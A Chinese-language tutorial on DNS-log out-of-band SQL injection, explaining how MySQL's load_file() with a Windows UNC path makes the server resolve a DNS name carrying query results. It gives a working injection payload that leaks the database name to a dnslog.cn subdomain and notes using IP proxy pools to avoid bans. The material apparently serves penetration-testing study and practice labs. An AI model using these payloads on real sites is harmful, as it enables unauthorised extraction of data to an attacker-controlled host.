SQL注入之DNS回显注入
参考文章:使用DNSLOG拯救你的盲打盲注 - FreeBuf网络安全行业门户
拟解决问题
在测试一些网站得时候,一些网站都是没有回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置IP代理池解决。
但是盲注的效率是非常低的,所以用到了DNSlog注入。
在各种渗透应用中需要有可用的,能直接或间接引发DNS解析
过程的子程序,即使用到UNC
,都可以使用到DNS回显注入。
DNSLOG原理
DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.cn
时DNS的解析过程示意图。
其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。
DNSLOG工具
如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:
-
https://github.com/BugScanTeam/DNSLog。
另外我们也可以使用在线平台:
场景一 SQL盲注回显
原理
首先要知道一个函数load_file()
和一种命名惯例UNC
-
LOAD_FILE(file_name)读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。而且LOAD_FILE()函数不仅能够加载本地文件,同时也能对诸如
\\www.test.com
这样的UNCurl发起请求。 -
UNC是一种命名惯例,主要用于在Microsoft Windows上指定和映射网络驱动器。UNC命名惯例最多被应用于局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径。格式:\servername\sharename,其中servername是服务器名,sharename是共享资源的名称。
-
注意,ndslog回显只能用于Windows系统,原理就是'\\\\'代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用拓展存储程序引发DNS地址解析。
id=1' and load_file(concat("\\\\",(select database()),".2bmfvu.dnslog.cn\\1.txt")) – -
\\\\
转义后即为\\
,\\
转义后为\
,所以注入语句构造出一个具有UNC形式的url地址,\\security.2bmfvu.dnslog.cn\1.txt
注意这个地址中,无论是服务器名还是资源名都是不一定存在的。但是load_file函数会对该url发起请求,而这个url是需要被解析的,DNS一层一层地解析,解析到.2bmfvu.dnslog.cn
的DNS服务器上时,在该服务器上会对最终的url地址即security.2bmfvu.dnslog.cn
进行解析并用日志记录,自己搭建的dns服务器可以翻看日志记录得到的回显结果,专用的在线dnslog服务器则会将log记录直接显回出来,这样就得到了我们内置的查询语句select database()
的结果。
用法
在mysql命令行执行:select load_file('\\\\sqlwords.xxxx.dnslog.cn\\aaa')
;其中sqlwordsi就是要注入的查询语句
查看平台,dnsLog被记录下来。
使用条件
要用到load_file()函数,需要当前数据库用户有读权限,并且需要设置secure_file_priv。
举例
见我的文章《sqli-labs通关手册》Less-15
场景二 命令执行盲注回显
场景三 XSS绕过CSP
场景2,3等我有空再学